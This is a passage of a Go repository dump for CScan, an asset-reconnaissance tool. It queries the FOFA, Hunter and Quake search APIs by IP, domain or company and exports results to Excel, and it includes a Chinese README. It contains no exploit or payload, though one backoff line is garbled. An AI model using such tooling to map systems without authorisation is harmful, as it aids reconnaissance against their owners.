APIRateLimit API 速率限制管理 34 | type APIRateLimit struct { 35 | interval time.Duration 36 | lastRequest time.Time 37 | retryCount int 38 | mu sync.Mutex 39 | } 40 | 41 | // 创建速率限制管理器 42 | func newAPIRateLimit(interval time.Duration) *APIRateLimit { 43 | return &APIRateLimit{ 44 | interval: interval, 45 | lastRequest: time.Now(), 46 | } 47 | } 48 | 49 | // 等待并自适应调整间隔 50 | func (r *APIRateLimit) wait() { 51 | r.mu.Lock() 52 | defer r.mu.Unlock() 53 | 54 | // 计算需要等待的时间 55 | elapsed := time.Since(r.lastRequest) 56 | if elapsed < r.interval { 57 | time.Sleep(r.interval - elapsed) 58 | } 59 | r.lastRequest = time.Now() 60 | } 61 | 62 | // 处理错误并调整间隔 63 | func (r *APIRateLimit) handleError(err error) { 64 | r.mu.Lock() 65 | defer r.mu.Unlock() 66 | 67 | // 检查错误是否与速率限制或API错误相关 68 | if isRateLimitError(err) || isAPIError(err) { 69 | r.retryCount++ 70 | // 指数退避:每次错误将间隔时间翻倍,并增加随机抖动 71 | backoff := time.Duration(1< MaxRetryWait { 76 | r.interval = MaxRetryWait 77 | } 78 | 79 | // 立即等待一段时间 80 | time.Sleep(r.interval) 81 | } 82 | } 83 | 84 | // 检查是否为速率限制错误或API错误 85 | func isRateLimitError(err error) bool { 86 | if err == nil { 87 | return false 88 | } 89 | errStr := err.Error() 90 | return strings.Contains(errStr, "rate limit") || 91 | strings.Contains(errStr, "too many requests") || 92 | strings.Contains(errStr, "请求太多") || 93 | strings.Contains(errStr, "请求过于频繁") || 94 | strings.Contains(errStr, "429") 95 | } 96 | 97 | // 检查是否为API错误 98 | func isAPIError(err error) bool { 99 | if err == nil { 100 | return false 101 | } 102 | errStr := err.Error() 103 | return strings.Contains(errStr, "API错误") || 104 | strings.Contains(errStr, "cannot unmarshal") || 105 | strings.Contains(errStr, "稍后再试") 106 | } 107 | 108 | // SearchEngine 网络空间搜索引擎管理器 109 | type SearchEngine struct { 110 | scanners []Scanner 111 | rateLimits map[string]*APIRateLimit 112 | rateLimitMu sync.RWMutex 113 | } 114 | 115 | // NewSearchEngine 创建新的搜索引擎管理器 116 | func NewSearchEngine(scanners ...Scanner) *SearchEngine { 117 | rateLimits := make(map[string]*APIRateLimit) 118 | for _, scanner := range scanners { 119 | interval := DefaultInterval 120 | if scanner.Name() == "Zone" { 121 | interval = ZoneInterval 122 | } 123 | rateLimits[scanner.Name()] = newAPIRateLimit(interval) 124 | } 125 | 126 | return &SearchEngine{ 127 | scanners: scanners, 128 | rateLimits: rateLimits, 129 | } 130 | } 131 | 132 | // Search 使用所有可用的扫描器执行搜索 133 | func (e *SearchEngine) Search(query string, page, size int) ([]model.Asset, error) { 134 | var results []model.Asset 135 | for _, scanner := range e.scanners { 136 | assets, err := scanner.Search(query, page, size) 137 | if err != nil { 138 | continue 139 | } 140 | results = append(results, assets...) 141 | } 142 | return results, nil 143 | } 144 | 145 | // SearchTargets 批量搜索目标 146 | func (e *SearchEngine) SearchTargets(targets []Target, maxPage, pageSize int) ([]model.Asset, error) { 147 | var ( 148 | results []model.Asset 149 | mu sync.Mutex 150 | wg sync.WaitGroup 151 | errs []error 152 | ) 153 | 154 | // 使用通道来控制并发数 155 | semaphore := make(chan struct{}, 1) // 限制为1个并发,保证顺序执行 156 | 157 | for _, target := range targets { 158 | wg.Add(1) 159 | go func(t Target) { 160 | defer wg.Done() 161 | 162 | // 获取信号量 163 | semaphore <- struct{}{} 164 | defer func() { 165 | <-semaphore // 释放信号量 166 | }() 167 | 168 | assets, err := e.searchSingle(t, maxPage, pageSize) 169 | mu.Lock() 170 | if err != nil { 171 | errs = append(errs, err) 172 | } else { 173 | results = append(results, assets...) 174 | } 175 | mu.Unlock() 176 | }(target) 177 | } 178 | 179 | wg.Wait() 180 | 181 | if len(errs) > 0 { 182 | return results, fmt.Errorf("部分搜索失败: %v", errs) 183 | } 184 | 185 | return results, nil 186 | } 187 | 188 | func buildQuery(scannerName string, target Target) string { 189 | switch scannerName { 190 | case "Hunter": 191 | if target.Type == "ip" { 192 | return fmt.Sprintf(`ip="%s"`, target.Value) 193 | } 194 | return fmt.Sprintf(`domain.suffix="%s"`, target.Value) 195 | case "FOFA": 196 | if target.Type == "ip" { 197 | return fmt.Sprintf(`ip="%s"`, target.Value) 198 | } 199 | return fmt.Sprintf(`domain="%s"`, target.Value) 200 | case "Quake": 201 | if target.Type == "ip" { 202 | return fmt.Sprintf(`ip:%s`, target.Value) 203 | } 204 | return fmt.Sprintf(`domain:%s`, target.Value) 205 | default: 206 | return "" 207 | } 208 | } 209 | 210 | // searchSingle 搜索单个目标 211 | func (e *SearchEngine) searchSingle(target Target, maxPage, pageSize int) ([]model.Asset, error) { 212 | var results []model.Asset 213 | 214 | for _, scanner := range e.scanners { 215 | if scanner == nil { 216 | continue 217 | } 218 | 219 | query := buildQuery(scanner.Name(), target) 220 | fmt.Printf("使用 %s 搜索: %s\n", scanner.Name(), query) 221 | 222 | // 获取该扫描器的速率限制器 223 | e.rateLimitMu.RLock() 224 | rateLimit := e.rateLimits[scanner.Name()] 225 | e.rateLimitMu.RUnlock() 226 | 227 | for page := 1; page <= maxPage; page++ { 228 | fmt.Printf("搜索第 %d 页...\n", page) 229 | 230 | // 等待适当的时间间隔 231 | rateLimit.wait() 232 | 233 | assets, err := scanner.Search(query, page, pageSize) 234 | if err != nil { 235 | // 处理错误并调整速率 236 | rateLimit.handleError(err) 237 | fmt.Printf("查询出错: %v,已增加延迟至 %v\n", err, rateLimit.interval) 238 | if page == 1 { 239 | // 如果是第一页就失败,尝试继续其他扫描器 240 | break 241 | } 242 | // 如果不是第一页,认为已经获取了部分数据,结束当前扫描器的查询 243 | break 244 | } 245 | if len(assets) == 0 { 246 | break 247 | } 248 | results = append(results, assets...) 249 | } 250 | } 251 | 252 | return results, nil 253 | } 254 | -------------------------------------------------------------------------------- /internal/cse/fofa/scanner.go: -------------------------------------------------------------------------------- 1 | package fofa 2 | 3 | import ( 4 | "cscan/internal/common/model" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | ) 11 | 12 | type Scanner struct { 13 | email string 14 | apiKey string 15 | } 16 | 17 | func NewScanner(email, apiKey string) *Scanner { 18 | return &Scanner{ 19 | email: email, 20 | apiKey: apiKey, 21 | } 22 | } 23 | 24 | func (s *Scanner) Name() string { 25 | return "FOFA" 26 | } 27 | 28 | func (s *Scanner) Search(query string, page, size int) ([]model.Asset, error) { 29 | baseURL := "https://fofa.info/api/v1/search/all" 30 | queryBase64 := base64.StdEncoding.EncodeToString([]byte(query)) 31 | 32 | url := fmt.Sprintf("%s?email=%s&key=%s&qbase64=%s&page=%d&size=%d&fields=host,ip,port,protocol,title,icp,country,province,city", 33 | baseURL, s.email, s.apiKey, queryBase64, page, size) 34 | 35 | resp, err := http.Get(url) 36 | if err != nil { 37 | return nil, err 38 | } 39 | defer resp.Body.Close() 40 | 41 | body, err := io.ReadAll(resp.Body) 42 | if err != nil { 43 | return nil, err 44 | } 45 | 46 | var result struct { 47 | Error bool `json:"error"` 48 | ErrMsg string `json:"errmsg"` 49 | Results [][]string `json:"results"` 50 | Fields []string `json:"fields"` 51 | } 52 | 53 | if err := json.Unmarshal(body, &result); err != nil { 54 | return nil, err 55 | } 56 | 57 | if result.Error { 58 | return nil, fmt.Errorf("API错误: %v", result.ErrMsg) 59 | } 60 | 61 | var assets []model.Asset 62 | for _, fields := range result.Results { 63 | if len(fields) < 9 { 64 | continue 65 | } 66 | 67 | asset := model.Asset{ 68 | Domain: fields[0], 69 | IP: fields[1], 70 | Port: fields[2], 71 | Service: fields[3], 72 | Title: fields[4], 73 | ICPOrg: fields[5], 74 | Location: joinNonEmpty([]string{fields[6], fields[7], fields[8]}), 75 | Source: s.Name(), 76 | } 77 | assets = append(assets, asset) 78 | } 79 | 80 | return assets, nil 81 | } 82 | 83 | func joinNonEmpty(parts []string) string { 84 | var result string 85 | for i, part := range parts { 86 | if part != "" { 87 | if i > 0 && result != "" { 88 | result += " " 89 | } 90 | result += part 91 | } 92 | } 93 | return result 94 | } 95 | -------------------------------------------------------------------------------- /internal/cse/hunter/scanner.go: -------------------------------------------------------------------------------- 1 | package hunter 2 | 3 | import ( 4 | "cscan/internal/common/model" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | "net/url" 11 | ) 12 | 13 | type Scanner struct { 14 | apiKey string 15 | } 16 | 17 | func NewScanner(apiKey string) *Scanner { 18 | return &Scanner{apiKey: apiKey} 19 | } 20 | 21 | func (s *Scanner) Name() string { 22 | return "Hunter" 23 | } 24 | 25 | func (s *Scanner) Search(query string, page, size int) ([]model.Asset, error) { 26 | baseURL := "https://hunter.qianxin.com/openApi/search" 27 | searchBase64 := base64.StdEncoding.EncodeToString([]byte(query)) 28 | 29 | params := url.Values{} 30 | params.Add("api-key", s.apiKey) 31 | params.Add("search", searchBase64) 32 | params.Add("page", fmt.Sprintf("%d", page)) 33 | params.Add("page_size", fmt.Sprintf("%d", size)) 34 | 35 | req, err := http.NewRequest("GET", baseURL+"?"+params.Encode(), nil) 36 | if err != nil { 37 | return nil, err 38 | } 39 | 40 | client := &http.Client{} 41 | resp, err := client.Do(req) 42 | if err != nil { 43 | return nil, err 44 | } 45 | defer resp.Body.Close() 46 | 47 | body, err := io.ReadAll(resp.Body) 48 | if err != nil { 49 | return nil, err 50 | } 51 | 52 | var result struct { 53 | Code int `json:"code"` 54 | Message string `json:"message"` 55 | Data struct { 56 | Arr []map[string]interface{} `json:"arr"` 57 | } `json:"data"` 58 | } 59 | 60 | if err := json.Unmarshal(body, &result); err != nil { 61 | return nil, err 62 | } 63 | 64 | if result.Code != 200 { 65 | return nil, fmt.Errorf("API错误: %v", result.Message) 66 | } 67 | 68 | var assets []model.Asset 69 | for _, item := range result.Data.Arr { 70 | asset := model.Asset{ 71 | Source: s.Name(), 72 | } 73 | 74 | if v, ok := item["ip"].(string); ok { 75 | asset.IP = v 76 | } 77 | if v, ok := item["domain"].(string); ok { 78 | asset.Domain = v 79 | } 80 | if v, ok := item["port"].(float64); ok { 81 | asset.Port = fmt.Sprintf("%d", int(v)) 82 | } 83 | if v, ok := item["protocol"].(string); ok { 84 | asset.Service = v 85 | } 86 | if v, ok := item["web_title"].(string); ok { 87 | asset.Title = v 88 | } 89 | if v, ok := item["status_code"].(float64); ok { 90 | asset.StatusCode = fmt.Sprintf("%d", int(v)) 91 | } 92 | 93 | // 处理ICP信息 94 | if icp, ok := item["icp"].(map[string]interface{}); ok { 95 | if name, ok := icp["name"].(string); ok { 96 | asset.ICPOrg = name 97 | } 98 | } 99 | 100 | // 处理地理位置信息 101 | var location []string 102 | if v, ok := item["country"].(string); ok && v != "" { 103 | location = append(location, v) 104 | } 105 | if v, ok := item["province"].(string); ok && v != "" { 106 | location = append(location, v) 107 | } 108 | if v, ok := item["city"].(string); ok && v != "" { 109 | location = append(location, v) 110 | } 111 | asset.Location = joinNonEmpty(location) 112 | 113 | assets = append(assets, asset) 114 | } 115 | 116 | return assets, nil 117 | } 118 | 119 | func joinNonEmpty(parts []string) string { 120 | var result string 121 | for i, part := range parts { 122 | if part != "" { 123 | if i > 0 && result != "" { 124 | result += " " 125 | } 126 | result += part 127 | } 128 | } 129 | return result 130 | } 131 | -------------------------------------------------------------------------------- /internal/cse/quake/scanner.go: -------------------------------------------------------------------------------- 1 | package quake 2 | 3 | import ( 4 | "bytes" 5 | "cscan/internal/common/model" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | ) 11 | 12 | type Scanner struct { 13 | apiKey string 14 | } 15 | 16 | func NewScanner(apiKey string) *Scanner { 17 | return &Scanner{apiKey: apiKey} 18 | } 19 | 20 | func (s *Scanner) Name() string { 21 | return "Quake" 22 | } 23 | 24 | func (s *Scanner) Search(query string, page, size int) ([]model.Asset, error) { 25 | baseURL := "https://quake.360.net/api/v3/search/quake_service" 26 | 27 | requestData := map[string]interface{}{ 28 | "query": query, 29 | "start": (page - 1) * size, 30 | "size": size, 31 | "fields": "ip,port,domain,service,title,status_code,location,icp", 32 | } 33 | 34 | jsonData, err := json.Marshal(requestData) 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | req, err := http.NewRequest("POST", baseURL, bytes.NewBuffer(jsonData)) 40 | if err != nil { 41 | return nil, err 42 | } 43 | 44 | req.Header.Set("X-QuakeToken", s.apiKey) 45 | req.Header.Set("Content-Type", "application/json") 46 | 47 | client := &http.Client{} 48 | resp, err := client.Do(req) 49 | if err != nil { 50 | return nil, err 51 | } 52 | defer resp.Body.Close() 53 | 54 | body, err := io.ReadAll(resp.Body) 55 | if err != nil { 56 | return nil, err 57 | } 58 | 59 | var result struct { 60 | Code int `json:"code"` 61 | Message string `json:"message"` 62 | Data []interface{} `json:"data"` 63 | } 64 | 65 | if err := json.Unmarshal(body, &result); err != nil { 66 | return nil, err 67 | } 68 | 69 | if result.Code != 0 { 70 | return nil, fmt.Errorf("API错误: %v", result.Message) 71 | } 72 | 73 | var assets []model.Asset 74 | for _, item := range result.Data { 75 | if m, ok := item.(map[string]interface{}); ok { 76 | asset := model.Asset{ 77 | Source: s.Name(), 78 | } 79 | 80 | if v, ok := m["ip"].(string); ok { 81 | asset.IP = v 82 | } 83 | if v, ok := m["domain"].(string); ok { 84 | asset.Domain = v 85 | } 86 | if v, ok := m["port"].(float64); ok { 87 | asset.Port = fmt.Sprintf("%d", int(v)) 88 | } 89 | 90 | // 处理service字段 91 | if service, ok := m["service"].(map[string]interface{}); ok { 92 | if name, ok := service["name"].(string); ok { 93 | asset.Service = name 94 | } 95 | 96 | // 处理http信息 97 | if http, ok := service["http"].(map[string]interface{}); ok { 98 | if title, ok := http["title"].(string); ok { 99 | asset.Title = title 100 | } 101 | if status, ok := http["status_code"].(float64); ok { 102 | asset.StatusCode = fmt.Sprintf("%d", int(status)) 103 | } 104 | } 105 | } 106 | 107 | // 处理location字段 108 | if location, ok := m["location"].(map[string]interface{}); ok { 109 | var parts []string 110 | if v, ok := location["country_cn"].(string); ok && v != "" { 111 | parts = append(parts, v) 112 | } 113 | if v, ok := location["province_cn"].(string); ok && v != "" { 114 | parts = append(parts, v) 115 | } 116 | if v, ok := location["city_cn"].(string); ok && v != "" { 117 | parts = append(parts, v) 118 | } 119 | asset.Location = joinNonEmpty(parts) 120 | } 121 | 122 | assets = append(assets, asset) 123 | } 124 | } 125 | 126 | return assets, nil 127 | } 128 | 129 | func joinNonEmpty(parts []string) string { 130 | var result string 131 | for i, part := range parts { 132 | if part != "" { 133 | if i > 0 && result != "" { 134 | result += " " 135 | } 136 | result += part 137 | } 138 | } 139 | return result 140 | } 141 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # CScan - 网络空间资产搜索工具 2 | 3 | CScan 是一个基于Go语言开发的网络空间资产搜索工具,支持多个主流网络空间搜索引擎,能够快速搜索IP、域名等资产信息。 4 | 5 | ## 项目背景 6 | 7 | 在信息收集的时候,经常需要处理大量IP地址、域名和企业名称等资产信息。传统的手动资产搜集方式效率低下且容易出错。CScan旨在通过自动化工具调用各大网络空间搜索引擎的API接口,快速完成资产搜集工作,显著提升工作效率。 8 | 9 | 主要解决以下痛点: 10 | - 手动搜集资产耗时耗力 11 | - 多个平台API调用繁琐 12 | - 结果格式不统一 13 | - 缺乏统一的速率控制和错误处理机制 14 | 15 | ## 功能特性 16 | 17 | - **多引擎支持**:集成Hunter、FOFA、Quake、Zone等多个网络空间搜索引擎 18 | - **资产类型**:支持IP、域名两种目标类型 19 | - **批量搜索**:支持批量处理目标列表 20 | - **结果导出**:自动将搜索结果导出为Excel文件 21 | - **速率控制**:内置API调用速率限制,防止触发平台限制 22 | - **错误处理**:自动处理API错误,支持指数退避重试 23 | 24 | ## 安装说明 25 | 26 | ### 方式一:使用预编译二进制文件 27 | 28 | 1. 访问 [Releases](https://github.com/T3nk0/cscan/releases) 页面 29 | 2. 根据系统架构下载对应版本: 30 | - Windows: cscan_windows_amd64.zip 31 | - Linux: cscan_linux_amd64.tar.gz 32 | - macOS: cscan_darwin_amd64.tar.gz 33 | 3. 解压下载的文件 34 | 4. 运行二进制文件 35 | 36 | ### 方式二:从源码编译 37 | 38 | 1. 确保已安装Go 1.18+环境 39 | 2. 克隆项目: 40 | ```bash 41 | git clone https://github.com/T3nk0/cscan.git 42 | cd cscan 43 | ``` 44 | 3. 安装依赖: 45 | ```bash 46 | go mod tidy 47 | ``` 48 | 4. 编译项目: 49 | ```bash 50 | go build -o cscan cmd/main.go 51 | ``` 52 | 53 | ## 使用效果 54 | 55 | 1 56 | 57 | 2 58 | 59 | 2 60 | 61 | ## 使用说明 62 | 63 | ### 基本用法 64 | 65 | ```bash 66 | ./cscan -m [options] [submodule] 67 | ``` 68 | 69 | ### 参数说明 70 | 71 | | 参数 | 说明 | 72 | |------|------| 73 | | -m | 模块选择 (cse/co) | 74 | | -f | 输入文件路径 (默认: target.txt) | 75 | | -o | 输出文件路径 (默认: results.xlsx) | 76 | | -v | 显示版本信息 | 77 | 78 | ### 模块说明 79 | 80 | #### 网络空间测绘 (cse) 81 | 82 | ```bash 83 | # 使用所有引擎搜索 84 | ./cscan -m cse -f targets.txt -o results.xlsx 85 | 86 | # 使用指定引擎搜索 87 | ./cscan -m cse hunter -f targets.txt -o hunter_results.xlsx 88 | ``` 89 | 90 | 支持子模块: 91 | - hunter: Hunter引擎 92 | - fofa: FOFA引擎 93 | - quake: Quake引擎 94 | 95 | #### 公司情报 (co) 96 | 97 | ```bash 98 | ./cscan -m co -f companies.txt -o company_assets.xlsx 99 | ``` 100 | 101 | 支持子模块: 102 | - zone: Zone引擎 103 | 104 | ## 配置说明 105 | 106 | 首次运行程序时,如果当前目录下不存在 `config.json` 文件,程序会自动创建配置文件模板。 107 | 108 | 配置文件 `config.json` 需要包含以下内容: 109 | 110 | ```json 111 | { 112 | "hunter_api_key": "your-hunter-key", 113 | "fofa_email": "your-fofa-email", 114 | "fofa_api_key": "your-fofa-key", 115 | "quake_api_key": "your-quake-key", 116 | "zone_api_key": "your-zone-key", 117 | "max_page": 10, 118 | "page_size": 100 119 | } 120 | ``` 121 | 122 | ## 示例 123 | 124 | ### 搜索IP资产 125 | 126 | 1. 创建目标文件 `targets.txt`: 127 | ``` 128 | 192.168.1.1 129 | 8.8.8.8 130 | ``` 131 | 132 | 2. 执行搜索: 133 | ```bash 134 | ./cscan -m cse -f targets.txt -o ip_results.xlsx 135 | ``` 136 | 137 | ### 搜索公司资产 138 | 139 | 1. 创建公司列表文件 `companies.txt`: 140 | ``` 141 | 阿里巴巴 142 | 腾讯 143 | ``` 144 | 145 | 2. 执行搜索: 146 | ```bash 147 | ./cscan -m co -f companies.txt -o company_assets.xlsx 148 | ``` 149 | 150 | ## 注意事项 151 | 152 | 1. 请确保已获取各平台的API Key并正确配置 153 | 2. 建议控制目标数量,避免触发平台限制 154 | 3. 输出文件为Excel格式,建议使用Excel或WPS打开 155 | 4. 程序内置了API调用间隔,请勿手动调整 156 | --------------------------------------------------------------------------------